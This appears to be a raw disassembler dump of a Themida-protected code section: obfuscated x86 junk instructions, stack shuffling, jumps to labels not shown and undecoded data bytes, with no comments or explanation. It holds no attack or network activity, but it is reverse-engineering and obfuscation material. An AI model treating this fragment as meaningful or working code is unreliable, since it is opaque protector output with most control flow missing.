Themida_:005ABE6Dj mov [esp], eax mov eax, 3F5C497Ch neg eax jns loc_5AA0E7 jmp loc_5AA7AE ; --------------------------------------------------------------------------- loc_5AD329: ; CODE XREF: Themida_:005A77CFj xor edx, 463A3169h jle loc_5A0214 add edx, 4DB90B57h jz loc_59D9CE jmp loc_5A7F99 ; --------------------------------------------------------------------------- loc_5AD346: ; CODE XREF: Themida_:005A84A2j push 561Fh mov [esp], ebp mov ebp, 5AA7463Eh sub ebp, 35E33003h jnz loc_59FBFB dec ebp jl loc_5A9930 neg ebp push ebx pop esp add edi, 4 push 4A5Eh mov [esp], ebp push 2 pop ebp add edi, 5A533ED3h jmp loc_5A6D3B ; --------------------------------------------------------------------------- loc_5AD389: ; CODE XREF: Themida_:005AD3D4j sub ebp, 3D661A35h mov edi, ebp pop ebp xor edi, ecx push dword ptr [esp] jmp loc_5A10CB ; --------------------------------------------------------------------------- loc_5AD39C: ; CODE XREF: Themida_:0059C4F8j xor ecx, 3CD15AE0h or edx, ecx pop ecx push ebx mov ebx, 95B64CEh shr ebx, 1 shl ebx, 2 jmp loc_5A076D ; --------------------------------------------------------------------------- loc_5AD3B5: ; CODE XREF: Themida_:005AC0DDj push edi jmp loc_5A4C6B ; --------------------------------------------------------------------------- loc_5AD3BB: ; CODE XREF: Themida_:005A58F2j pop ecx push 74D4h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5A7445 ; --------------------------------------------------------------------------- loc_5AD3CE: ; CODE XREF: Themida_:005A54E7j add ebp, 7DFF47B2h jo loc_5AD389 sub ebp, 3D661A35h mov edi, ebp pop ebp xor edi, ecx pop ecx push esp mov edi, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_59CFE5 ; --------------------------------------------------------------------------- dd 8B243433h, 0FFE92424h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD403: ; CODE XREF: Themida_:005A4148j push ebx mov ebx, 4D786F1Eh xor ebx, 29D20416h sub edx, 2FEB2CE9h sub edx, ebx push ebp mov ebp, 4141565h jmp loc_5A7F40 ; --------------------------------------------------------------------------- loc_5AD422: ; CODE XREF: Themida_:005A40E2j add esp, 4 push ebp mov ebp, 408D6064h jmp loc_59CDF2 ; --------------------------------------------------------------------------- loc_5AD430: ; CODE XREF: Themida_:005ACC04j jmp loc_59CE4E ; --------------------------------------------------------------------------- loc_5AD435: ; CODE XREF: Themida_:005A9EA2j mov esp, [esp] mov [esp], ebp jmp loc_59B93C ; --------------------------------------------------------------------------- dd 0E904E3C1h, 0FFFF318Ah dword_5AD448 dd 24048B66h, 4EC81h, 3C890000h, 56E78924h, 330BA52h, 0EA81711Ah ; DATA XREF: Themida_:005987E4o dd 4FB92A6h, 0C6E9D689h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD46B: ; CODE XREF: Themida_:005A5E51j neg eax sub eax, 11F7667Ch xor eax, 9DCEA64Fh mov edi, eax jmp loc_59CE34 ; --------------------------------------------------------------------------- dw 0C281h dd 2, 31241433h, 14332414h, 8B665C24h, 83562404h, 99E904ECh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AD49B: ; CODE XREF: Themida_:005AA340j mov ebp, 2 add ebx, 360B6A0Fh add ebx, ebp sub ebx, 360B6A0Fh jmp loc_5A5C64 ; --------------------------------------------------------------------------- loc_5AD4B3: ; CODE XREF: Themida_:005A7260j add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor al, ch pop ecx jmp loc_5A6EC6 ; --------------------------------------------------------------------------- loc_5AD4CB: ; CODE XREF: Themida_:005AA84Fj push eax mov eax, 0D855020h neg eax inc eax jmp loc_5A4898 ; --------------------------------------------------------------------------- loc_5AD4D9: ; CODE XREF: Themida_:005A90C0j mov edx, [esp] jmp loc_5A560F ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5940B72Dh, 7E5C2D3Ch, 0F32D685Bh, 138B52Eh, 0F786E9C8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AD4FA: ; CODE XREF: Themida_:005AD97Dj xchg ebx, [esp] jmp loc_5A2467 ; --------------------------------------------------------------------------- loc_5AD502: ; CODE XREF: Themida_:005A3A60j pop ebp push ebp jmp loc_59A6F4 ; --------------------------------------------------------------------------- db 0Fh, 84h, 31h dd 81FFFEC8h, 627CB6EAh, 5598E980h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD51A: ; CODE XREF: Themida_:loc_59CC03j ; Themida_:0059F984j ... push esp mov ecx, [esp] add esp, 4 push edi jmp loc_5AC62E ; --------------------------------------------------------------------------- loc_5AD527: ; CODE XREF: Themida_:005A8C16j pop ecx shr edx, 6 jmp loc_5A74E3 ; --------------------------------------------------------------------------- loc_5AD530: ; CODE XREF: Themida_:005A0F4Bj add edi, 4F71083Ch add edi, ebx push eax mov eax, 0B0C5301h jmp loc_59AE7B ; --------------------------------------------------------------------------- loc_5AD543: ; CODE XREF: Themida_:005A76CCj mov eax, esp add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp push esi push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi jmp loc_59B68D ; --------------------------------------------------------------------------- loc_5AD571: ; CODE XREF: Themida_:005A9BECj or edi, 183F156Dh jmp loc_5A1127 ; --------------------------------------------------------------------------- loc_5AD57C: ; CODE XREF: Themida_:005AC927j not ebp inc ebp xor ebp, 48BB58DCh add ebp, 0E47427C3h or eax, ebp jmp loc_59CC56 ; --------------------------------------------------------------------------- loc_5AD592: ; CODE XREF: Themida_:005AC340j sub ebx, ecx mov ecx, ebx pop ebx jmp loc_59B9AA ; --------------------------------------------------------------------------- loc_5AD59C: ; CODE XREF: Themida_:0059EB16j mov [esp], ebp sub esp, 4 jmp loc_5A4D5D ; --------------------------------------------------------------------------- dw 0F987h dd 6A0EBB53h, 0EC814A41h, 4, 0BA241489h, 136B5C68h, 0FF65C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD5C5: ; CODE XREF: Themida_:005A000Aj pop edi push 4C0Bh mov [esp], edx push ecx mov ecx, 30532403h mov edx, ecx jmp loc_5AA3BD ; --------------------------------------------------------------------------- loc_5AD5DB: ; CODE XREF: Themida_:005AE084j mov esi, 49F9726Ah and esi, 532F0A6Ch jmp loc_5A324A ; --------------------------------------------------------------------------- db 0B9h dd 4, 0CEE9CB29h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD5F7: ; CODE XREF: Themida_:0059F0CBj mov ch, 2Ch push dx mov dl, 3Bh jmp loc_59AB23 ; --------------------------------------------------------------------------- word_5AD602 dw 5651h ; DATA XREF: Themida_:005988B4o dd 531FEA68h, 0F6815E5Ah, 7ADA61FCh, 0F87A850Fh, 0F681FFFFh dd 20897E2Ah, 535EF189h ; --------------------------------------------------------------------------- loc_5AD620: ; CODE XREF: Themida_:005A378Dj sub esp, 2 mov [esp], dx mov dh, 75h add al, 0B0h add al, dh sub al, 0B0h mov dx, [esp] push ebp mov ebp, esp jmp loc_59E15B ; --------------------------------------------------------------------------- db 0F7h dd 9DBE56D3h, 51740E4Fh, 0A95B05B9h, 0EE9815Ah, 495A8237h dd 0FFBC6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD655: ; CODE XREF: Themida_:005AA887j pop ebx jmp loc_5AF5C5 ; --------------------------------------------------------------------------- loc_5AD65B: ; CODE XREF: Themida_:005A5911j ; Themida_:005A6AD4j sub ebx, 2132508Dh xor eax, ebx pop ebx add edi, eax pop eax pop ebx xor edi, [esp] jmp loc_5A2C81 ; --------------------------------------------------------------------------- loc_5AD670: ; CODE XREF: Themida_:0059E446j push ebp dec dword ptr [esp] pop ebp sub esp, 4 mov [esp], esi mov esi, 2DCC5386h sub ebp, esi pop esi xor ebp, 0F5015C9Eh jmp loc_59C8D1 ; --------------------------------------------------------------------------- db 56h, 0E9h, 0BBh db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD697: ; CODE XREF: Themida_:0059F011j push esi push ecx push 0AD16FC6h pop ecx xchg edx, ecx not edx xchg edx, ecx push edi push 3E367909h pop edi add ecx, edi pop edi xor ecx, 33650946h mov esi, ecx pop ecx add ebx, esi jmp loc_5A8DCD ; --------------------------------------------------------------------------- loc_5AD6BF: ; CODE XREF: Themida_:0059E462j mov edx, [esp] push ebx mov ebx, esp push edi jmp loc_59B989 ; --------------------------------------------------------------------------- loc_5AD6CB: ; CODE XREF: Themida_:0059ACBBj xor ebx, [esp] mov esp, [esp] push edi mov edi, 1EA44073h add eax, edi pop edi push dword ptr [edi+eax*4] push ebp mov ebp, 3CA10E9Fh add [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_5A308C ; --------------------------------------------------------------------------- loc_5AD6F0: ; CODE XREF: Themida_:005A11CEj or bl, 9Ch jmp loc_59FC2A ; --------------------------------------------------------------------------- loc_5AD6F8: ; CODE XREF: Themida_:005A738Fj not esi sub esi, 0FFFFFFFFh xor esi, 7E4F3B9Ah push eax mov eax, 977BB76Bh sub esi, eax pop eax sub ebx, esi push dword ptr [esp] pop esi push edi mov edi, esp push ebp mov ebp, 4 jmp loc_5A647C ; --------------------------------------------------------------------------- loc_5AD723: ; CODE XREF: Themida_:0059A39Ej push esp pop dword ptr [esp] push 373h mov [esp], eax mov eax, 4 add dword ptr [esp+4], 413F0848h jmp loc_5A0A88 ; --------------------------------------------------------------------------- loc_5AD741: ; CODE XREF: Themida_:005A1791j xor [esp], eax jmp loc_5AC07F ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 15C240Ch, 241C8BDEh dd 0FFF243E9h, 567D68FFh, 14890000h, 4BA24h, 54010000h dd 148B0424h, 4C48324h, 0FFCB45E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD785: ; CODE XREF: Themida_:0059E88Fj xor ebx, [esp] xor [esp], ebx jmp loc_5A5ED0 ; --------------------------------------------------------------------------- loc_5AD790: ; CODE XREF: Themida_:005A91F7j sub ebp, 9D05EFA0h add ecx, ebp mov ebp, [esp] jmp loc_5A047D ; --------------------------------------------------------------------------- loc_5AD7A0: ; CODE XREF: Themida_:0059D2A6j pop eax xor edx, [esp] jmp loc_5AA578 ; --------------------------------------------------------------------------- loc_5AD7A9: ; CODE XREF: Themida_:005A62B2j mov [esp], ebx mov ebx, 101A4180h xor ebx, 16435705h jmp loc_5AB9AC ; --------------------------------------------------------------------------- loc_5AD7BC: ; CODE XREF: Themida_:005A33D0j sub ebx, 6BAAC20h mov edx, ebx pop ebx jmp loc_5A4E89 ; --------------------------------------------------------------------------- loc_5AD7CA: ; CODE XREF: Themida_:005A5B7Aj xchg esi, [esp] pop esp push ecx mov ecx, 53A266ADh jmp loc_5A552A ; --------------------------------------------------------------------------- loc_5AD7D9: ; CODE XREF: Themida_:005A59BBj mov esi, 411B2AE6h or ebp, esi pop esi not ebp jmp loc_59D72F ; --------------------------------------------------------------------------- loc_5AD7E8: ; CODE XREF: Themida_:005AC5BCj mov ah, bl jmp loc_5A2118 ; --------------------------------------------------------------------------- loc_5AD7EF: ; CODE XREF: Themida_:005A1252j push bx mov bl, 5Fh jmp loc_5A54F3 ; --------------------------------------------------------------------------- dd 243CD366h, 467E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD802: ; CODE XREF: Themida_:0059EE15j xor dx, di not di xchg di, dx jmp loc_5A9A95 ; --------------------------------------------------------------------------- dd 0D8FCB81h, 0E3817CB3h, 65716617h, 633A860Fh, 0F381FFFFh dd 21165EC7h, 8102E3C1h, 0FA67ABE3h, 0C1DBF76Dh, 0D3F706EBh dd 4556B951h, 0D4E972FFh db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD843: ; CODE XREF: Themida_:005A2712j mov dl, 12h xor dl, 0F3h mov cl, dl pop edx inc cl jmp loc_59EEC3 ; --------------------------------------------------------------------------- loc_5AD852: ; CODE XREF: Themida_:loc_59957Cj push ecx push ebp mov ebp, 4BE772F3h mov ecx, ebp pop ebp and edx, ecx jmp loc_5A16FF ; --------------------------------------------------------------------------- loc_5AD863: ; CODE XREF: Themida_:005A516Ej mov edx, 2 push 1EECh mov [esp], ecx jmp loc_5A20BB ; --------------------------------------------------------------------------- loc_5AD875: ; CODE XREF: Themida_:005A1E4Cj shr edi, 8 jmp loc_59BE59 ; --------------------------------------------------------------------------- loc_5AD87D: ; CODE XREF: Themida_:005A9AE9j mov esp, [esp] sub esp, 4 mov [esp], edx push 34EBh mov [esp], edi push 1568162Eh mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A812E ; --------------------------------------------------------------------------- loc_5AD8A4: ; CODE XREF: Themida_:0059A83Ej pop ebp sub edx, 8B327Ch add edx, edi jmp loc_59F491 ; --------------------------------------------------------------------------- loc_5AD8B2: ; CODE XREF: Themida_:005AA839j not edi or edi, 353B5EBBh sub esp, 4 mov [esp], eax jmp loc_5AEAE0 ; --------------------------------------------------------------------------- loc_5AD8C8: ; CODE XREF: Themida_:00599D18j sub edx, eax push eax jmp loc_5A52D2 ; --------------------------------------------------------------------------- loc_5AD8D0: ; CODE XREF: Themida_:005A5696j mov ebp, [esp] jmp loc_5A7AE5 ; --------------------------------------------------------------------------- loc_5AD8D8: ; CODE XREF: Themida_:005AC9A7j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_5A6848 ; --------------------------------------------------------------------------- db 54h, 5Bh, 57h dd 4BFh, 60EB8100h, 0E90EB107h, 0FFFF8BB4h ; --------------------------------------------------------------------------- loc_5AD900: ; CODE XREF: Themida_:005AF453j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AD905: ; CODE XREF: Themida_:005A75D5j not ebx jmp loc_5AAA15 ; --------------------------------------------------------------------------- loc_5AD90C: ; CODE XREF: Themida_:005A7063j mov ebx, 1F957E00h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, edx push edx mov edx, 1F957E00h sub edi, edx pop edx pop edx neg edi jns loc_5A6587 neg edi jmp loc_59C69F ; --------------------------------------------------------------------------- loc_5AD937: ; CODE XREF: Themida_:005A231Aj push 505Ah mov [esp], eax mov eax, 4 add dword ptr [esp+4], 29E74AF3h add [esp+4], eax sub dword ptr [esp+4], 29E74AF3h jmp loc_59D4D4 ; --------------------------------------------------------------------------- loc_5AD95D: ; CODE XREF: Themida_:005A6F61j push ebx mov ebx, esp push 1C7Ah jmp loc_59D485 ; --------------------------------------------------------------------------- loc_5AD96A: ; CODE XREF: Themida_:005AB21Cj xor edx, esi pop esi not edx jmp loc_59B459 ; --------------------------------------------------------------------------- loc_5AD974: ; CODE XREF: Themida_:005A1BA5j add ebx, 4 add ebx, 4 jmp loc_5AD4FA ; --------------------------------------------------------------------------- loc_5AD982: ; CODE XREF: Themida_:0059E07Ej jle loc_5AE0CA or edx, 70C40D50h jnz loc_5A06B0 add edx, 0C92032E3h jmp loc_5A2C1A ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- loc_5AD9A0: ; CODE XREF: Themida_:005AF524j jnp loc_5A1C88 jmp loc_59CF81 ; --------------------------------------------------------------------------- loc_5AD9AB: ; CODE XREF: Themida_:0059BFFDj shl eax, 7 jmp loc_5A8579 ; --------------------------------------------------------------------------- loc_5AD9B3: ; CODE XREF: Themida_:005A8375j add ebp, 54317433h shr ebp, 2 jp loc_5A54E1 and ebp, 2F0D1201h jmp loc_59FDD6 ; --------------------------------------------------------------------------- db 89h, 0D3h, 34h db 0A0h ; --------------------------------------------------------------------------- loc_5AD9D1: ; CODE XREF: Themida_:005A9C0Fj pop edi jmp loc_5AB4E0 ; --------------------------------------------------------------------------- loc_5AD9D7: ; CODE XREF: Themida_:005A7969j jmp loc_59EF87 ; --------------------------------------------------------------------------- loc_5AD9DC: ; CODE XREF: Themida_:00599D30j inc dh xor dh, 23h xor al, dh mov edx, [esp] jmp loc_59E813 ; --------------------------------------------------------------------------- loc_5AD9EB: ; CODE XREF: Themida_:0059A211j mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59C317 ; --------------------------------------------------------------------------- loc_5ADA0C: ; CODE XREF: Themida_:005AED38j push 393B6BD3h pop esi push ecx mov ecx, 15E71FE4h add ecx, 1C7A7077h inc ecx push 0 sub [esp], ecx jmp loc_5A5C4B ; --------------------------------------------------------------------------- dd 4C48359h, 381568h, 243C8900h, 924B27BFh, 23BB5312h dd 3112924Bh, 15AAE9DFh db 2 dup(0) word_5ADA4A dw 34FFh ; DATA XREF: Themida_:00598944o dd 2434FF24h, 4C48159h, 68000000h, 426Bh, 0FFA339E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADA61: ; CODE XREF: Themida_:0059AAC0j pop ax push bx mov bh, 4Bh jmp loc_5A42EC ; --------------------------------------------------------------------------- dd 0E908EDC1h, 0FFFFEAFDh, 4EC81h, 0C890000h, 7E006824h dd 34FF308Dh, 0C4835924h, 4B8C0504h, 732D2AA0h, 0E929820Bh dd 0FFFEE70Fh ; --------------------------------------------------------------------------- loc_5ADA98: ; CODE XREF: Themida_:0059F6F5j add esp, 4 push 4E96h mov [esp], edi mov edi, 7830488Dh and edi, 0A5D0A11h jmp loc_59FA83 ; --------------------------------------------------------------------------- loc_5ADAB6: ; CODE XREF: Themida_:005AEDE2j pop edx jmp loc_59ED9A ; --------------------------------------------------------------------------- loc_5ADABC: ; CODE XREF: Themida_:0059E8ACj push eax mov eax, 44586D0Bh and ebx, eax pop eax push edi mov edi, 5DA41276h not edi jmp loc_5AA07A ; --------------------------------------------------------------------------- loc_5ADAD2: ; CODE XREF: Themida_:005A2AE5j ; Themida_:005A77DBj shl dl, 6 add dl, 0C7h shr dl, 3 add dl, 14h xor cl, dl jmp loc_59FF72 ; --------------------------------------------------------------------------- db 86h, 0E8h, 0F6h dd 52E886DDh, 0EDE98AB2h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ADAF3: ; CODE XREF: Themida_:0059D904j shl esi, 7 jmp loc_59A79C ; --------------------------------------------------------------------------- loc_5ADAFB: ; CODE XREF: Themida_:0059EA68j mov [esp], ecx push esp jmp loc_5A3E0F ; --------------------------------------------------------------------------- dd 16B3C281h, 0C2815BE7h, 6F29057Ch, 0E3B98C0Fh, 9268FFFEh dd 8900001Fh, 3EBF243Ch, 3147195Ah, 0F09BE9FAh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ADB2A: ; CODE XREF: Themida_:005A470Ej mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp push esp pop dword ptr [esp] jmp loc_5A23D5 ; --------------------------------------------------------------------------- loc_5ADB42: ; CODE XREF: Themida_:0059F0F4j sub edx, eax jmp loc_5AEDCF ; --------------------------------------------------------------------------- loc_5ADB49: ; CODE XREF: Themida_:005A9DC1j shr ebx, 6 jmp loc_59C7E6 ; --------------------------------------------------------------------------- loc_5ADB51: ; CODE XREF: Themida_:0059E52Dj inc ebx neg ebx sub ebx, 0ACDD57AFh add esi, ebx mov ebx, [esp] jmp loc_5A72AF ; --------------------------------------------------------------------------- loc_5ADB64: ; CODE XREF: Themida_:0059E94Bj add ebx, ebp pop ebp push edx mov edx, 0E3C32C6h shl edx, 2 add edx, 5C9648A8h sub edx, 2E107DAAh and edx, 109324D1h and edx, 54877ACDh xor edx, 478232E8h or ebx, edx pop edx add ebx, 2E198CDh jmp loc_5A83F6 ; --------------------------------------------------------------------------- loc_5ADB9C: ; CODE XREF: Themida_:005A6589j jns loc_5A4B77 jmp loc_59A550 ; --------------------------------------------------------------------------- db 81h dd 8A433BEBh, 2EBC143h ; --------------------------------------------------------------------------- loc_5ADBB0: ; CODE XREF: Themida_:0059D87Aj push eax mov eax, 42D46CC8h not eax jmp loc_5AB347 ; --------------------------------------------------------------------------- loc_5ADBBD: ; CODE XREF: Themida_:005A0444j push dword ptr [esp+4] pop edi pop dword ptr [esp] push edi sub esp, 4 mov [esp], edx mov edi, [esp] add esp, 4 mov edx, [esp] add esp, 4 push edx push edi jmp loc_5AB68B ; --------------------------------------------------------------------------- loc_5ADBE2: ; CODE XREF: Themida_:005A07DAj mov edx, 82077F4h sub edi, edx pop edx push ebp mov ebp, 6FCF3B23h shr ebp, 5 xor ebp, 5F793EEEh shr ebp, 5 jmp loc_5A3A53 ; --------------------------------------------------------------------------- db 81h, 0CDh, 0E1h dd 817A4E51h, 0A94F7BC5h, 74ED8144h, 1C4A7C5h, 0D3685DE8h dd 89000002h, 0A2E9242Ch db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5ADC23: ; CODE XREF: Themida_:00599090j mov ebp, [esp] add esp, 4 jmp loc_59D317 ; --------------------------------------------------------------------------- loc_5ADC2E: ; CODE XREF: Themida_:0059AC3Ej mov esp, [esp] jmp loc_59F056 ; --------------------------------------------------------------------------- dw 0ED81h dd 5A4E0594h, 7CFEED81h, 0EB292B54h, 2BC3815Dh, 0E930501Bh dd 0FFFF13ECh dword_5ADC50 dd 0FF2434FFh, 0C8B2434h, 0E6895624h, 4C681h, 0C6830000h ; DATA XREF: Themida_:0059885Co dd 24348704h, 0FFBE0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADC6D: ; CODE XREF: Themida_:005A86BBj xor esi, 17E22563h or esi, 2C765A20h jmp loc_5AFB29 ; --------------------------------------------------------------------------- word_5ADC7E dw 0AD66h ; DATA XREF: Themida_:005987C0o dd 53D83166h, 0E955E389h, 0FFFEBD17h ; --------------------------------------------------------------------------- loc_5ADC8C: ; CODE XREF: Themida_:005AAD31j sub ebp, 0C0F6985h jg loc_5A0F60 or ebp, 28287460h mov ebx, ecx mov ch, cl loc_5ADCA2: ; CODE XREF: Themida_:005A8A5Ej mov ebx, esp add ebx, 4 jmp loc_5A17CC ; --------------------------------------------------------------------------- loc_5ADCAF: ; CODE XREF: Themida_:005A9F05j pop eax add ebx, 125855E0h jmp loc_5AB6C9 ; --------------------------------------------------------------------------- loc_5ADCBB: ; CODE XREF: Themida_:0059E876j ; Themida_:005A3C4Cj push 41DDh mov [esp], esi jmp loc_5AABCE ; --------------------------------------------------------------------------- loc_5ADCC8: ; CODE XREF: Themida_:0059A61Fj pop esp jmp loc_5A7D24 ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 0C7C2E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADCDA: ; CODE XREF: Themida_:005A52E6j push esp pop ecx add ecx, 4 jmp loc_5AAD94 ; --------------------------------------------------------------------------- loc_5ADCE7: ; CODE XREF: Themida_:0059D7A3j pop ebx shr ebx, 2 jmp loc_5A6768 ; --------------------------------------------------------------------------- loc_5ADCF0: ; CODE XREF: Themida_:0059AEEDj sub esi, ebx pop ebx push 2B73h mov [esp], esi jmp loc_5A2B03 ; --------------------------------------------------------------------------- loc_5ADD00: ; CODE XREF: Themida_:005AB42Aj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A20CD ; --------------------------------------------------------------------------- dd 8F6BDFBDh, 5DEA2169h, 0E0DCA81h, 870F26D6h, 0FFFF6F97h dd 33E9C281h, 66E96236h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADD2B: ; CODE XREF: Themida_:005AF39Bj sub dl, 0ECh jmp loc_59AFCD ; --------------------------------------------------------------------------- loc_5ADD33: ; CODE XREF: Themida_:0059D92Bj mov ebp, 4 sub edi, ebp pop ebp jmp loc_5A075B ; --------------------------------------------------------------------------- loc_5ADD40: ; CODE XREF: Themida_:0059F25Fj push eax push 71B02E18h pop eax sub eax, 0FB19C8C7h mov esi, eax pop eax jmp loc_5A1614 ; --------------------------------------------------------------------------- dd 4247401h, 6AEDBD55h, 6C291626h, 5DE90824h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADD67: ; CODE XREF: Themida_:0059ECE8j sub edx, 32B22347h pop esi jmp loc_5A90BE ; --------------------------------------------------------------------------- loc_5ADD73: ; CODE XREF: Themida_:0059A062j imul cx, ax jmp loc_5A8FF5 ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 240C8904h, 0FF92DBE9h db 0FFh byte_5ADD8D db 8Bh, 4, 24h ; DATA XREF: Themida_:00598874o dd 4EC81h, 14890000h, 2FEFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADD9E: ; CODE XREF: Themida_:005A753Fj add esi, 9A3AFA5Fh sub edx, esi jmp loc_5A5CC8 ; --------------------------------------------------------------------------- db 54h dd 0FEBDB4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADDB1: ; CODE XREF: Themida_:005A9C18j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59DA7E ; --------------------------------------------------------------------------- dw 0E7B1h dd 0FF3BF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADDCD: ; CODE XREF: Themida_:loc_5A9273j neg dh add dh, 6 sub esp, 4 mov [esp], ecx jmp loc_5A3631 ; --------------------------------------------------------------------------- loc_5ADDDD: ; CODE XREF: Themida_:005A9B60j sub ebp, edx pop edx add ebp, 0FFFFFFFFh shl ebp, 6 jmp loc_5A8C40 ; --------------------------------------------------------------------------- loc_5ADDEB: ; CODE XREF: Themida_:0059F8F5j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ADDF0: ; CODE XREF: Themida_:005AB1AEj add bl, 0DEh add bl, cl jmp loc_5AF267 ; --------------------------------------------------------------------------- loc_5ADDFA: ; CODE XREF: Themida_:005A6936j add ecx, 4 jmp loc_5AA9C7 ; --------------------------------------------------------------------------- loc_5ADE02: ; CODE XREF: Themida_:0059F844j add ebp, 56481BCFh sub ebp, 0B0C20433h add eax, ebp pop ebp pop ecx add eax, 4 push eax push dword ptr [esp+4] jmp loc_5A4CB1 ; --------------------------------------------------------------------------- loc_5ADE21: ; CODE XREF: Themida_:0059F2AFj xchg ecx, [esp] jmp loc_5A7139 ; --------------------------------------------------------------------------- loc_5ADE29: ; CODE XREF: Themida_:0059FB40j sub edx, 5FD3210Fh jmp loc_5A32ED ; --------------------------------------------------------------------------- loc_5ADE34: ; CODE XREF: Themida_:005A8EB8j add esp, 4 jmp loc_5ABE42 ; --------------------------------------------------------------------------- loc_5ADE3C: ; CODE XREF: Themida_:loc_5AF696j mov edi, [esp] push 6B56h mov [esp], esi jmp loc_5A9248 ; --------------------------------------------------------------------------- dd 58C9BF57h, 0BD553084h, 385835A2h, 815DEF01h, 51EBB1F7h dd 5FFA0133h, 0B951C201h, 4A6053F1h, 184BE981h, 0E181440Bh dd 5F4E5ED3h, 216E181h, 0E981043Fh, 0A8769C28h, 0FFAFF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADE89: ; CODE XREF: Themida_:0059B395j pop esi add ebx, 1B3447ACh sub ebx, 3CB808B4h jmp loc_5AF569 ; --------------------------------------------------------------------------- loc_5ADE9B: ; CODE XREF: Themida_:0059D0F9j push 45C8h mov [esp], eax pop edx jmp loc_5AE98B ; --------------------------------------------------------------------------- db 81h, 0C2h, 0A9h dd 15DF015h, 0A9EA81CAh, 8B5DF015h, 1AE9240Ch db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADEBF: ; CODE XREF: Themida_:0059B92Cj xor bl, dl jmp loc_5A149C ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 9C2404FEh, 0FEAACEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADED5: ; CODE XREF: Themida_:loc_5AC92Cj jmp loc_5AEA11 ; --------------------------------------------------------------------------- loc_5ADEDA: ; CODE XREF: Themida_:005A2F37j add esp, 4 mov edx, [esp] push esi jmp loc_5AB2A9 ; --------------------------------------------------------------------------- loc_5ADEE9: ; CODE XREF: Themida_:005A3642j pop ebx jmp loc_5A8471 ; --------------------------------------------------------------------------- db 87h dd 0E95C240Ch, 0FFFEE57Ch ; --------------------------------------------------------------------------- loc_5ADEF8: ; CODE XREF: Themida_:005AB424j add bl, 95h jmp loc_59A20C ; --------------------------------------------------------------------------- loc_5ADF00: ; CODE XREF: Themida_:00598C50j mov ecx, [esp] add esp, 4 add bl, 49h push eax mov al, 0D4h or al, 0D5h shr al, 1 inc al jnp loc_59D57B shl al, 7 jmp loc_5AEF94 ; --------------------------------------------------------------------------- db 81h dd 0BD63B8C5h, 66D1001Fh, 56045Ah, 0EC8352C8h, 0C896602h dd 8856B524h, 285966EAh, 34FF5AD0h, 0C4815924h, 4, 0AF685166h dd 89000054h, 77B3241Ch, 61C1E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADF5E: ; CODE XREF: Themida_:005AC900j push edi push 1ACBh jmp loc_5A2B2F ; --------------------------------------------------------------------------- loc_5ADF69: ; CODE XREF: Themida_:005A4848j xor ebp, 9217555h shl ebp, 3 not ebp push 434Ch mov [esp], edi jmp loc_59F990 ; --------------------------------------------------------------------------- loc_5ADF81: ; CODE XREF: Themida_:005AA02Dj push esi push edi xor dword ptr [esp], 2FCE16A2h mov esi, [esp] add esp, 4 xor esi, 2FCE16A2h mov ecx, esi push dword ptr [esp] jmp loc_599C38 ; --------------------------------------------------------------------------- db 81h dd 271F09C1h, 0E1E95E70h, 50FFFFA0h, 55153568h, 0B951585Dh dd 39B25890h, 49FFE983h, 4107E1C1h, 0E908E1C1h, 0FFFF08E5h dd 29C2814Ah, 29AB98FDh, 5CE95AD6h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADFDB: ; CODE XREF: Themida_:0059AD31j pop dword ptr [esp] jmp loc_5AE120 ; 